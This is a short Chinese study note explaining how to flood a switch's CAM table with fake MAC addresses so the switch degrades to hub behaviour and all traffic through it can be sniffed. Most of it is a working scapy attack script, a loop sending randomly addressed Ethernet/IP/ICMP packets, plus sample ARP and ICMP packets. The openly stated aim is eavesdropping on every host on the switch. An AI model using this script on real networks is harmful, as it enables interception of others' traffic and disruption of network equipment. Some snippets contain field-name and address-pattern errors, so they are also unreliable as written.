前言:一般交换机在数据转发过程中,依靠对CAM表的查询来确定正确的转发接口,如果在CAM表中查询不到,则将该数据帧作为广播帧处理,CAM表存储数量有限,当数据到达上限之后将不会存储。根据此原理,可以通过在刷新时间内对其发送足够多的不同MAC地址的伪造数据包来占用CAM表,这种情况下,所有经过交换机的数据帧都会被作为广播帧处理,然后就可以获取到所有经过交换机的正常数据帧,并且交换机模式会降为Hub模式。交换机降级到Hub模式后我们就可以监听所有链接到该交换机的数据了。
实现:
第一步:构造随机MAC和IP,scapy模块中的RandMAC()和RandIP()可以很方便实现这一点,也可以生成固定网段IP,RandIP("192.168.1.*")
第二步:数据包中包含制定的源IP和MAC,那么交换机就会记录,例如ARP包:
Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2,scr="0.0.0.0",hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)
或者ICMP包:
Ether(src=RandMAC("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*"))/IP(src=RandIP("*:*:*:*"),dst=RandIP("*:*:*:*"))/ICMP()
接下来完整代码:
#!/usr/bin/python
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=2:
iface=sys.argv[1]
while(1):
packet=
Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
名词解释:CAM表-类似于电脑的ARP缓存表,路由器进行快速转发功能读取的一张缓存表.
Hub模式:第二层(数据链路层),也叫做集线器。
说明:本文参考微信公众号:玄魂工作室推送python系列文章所做的学习笔记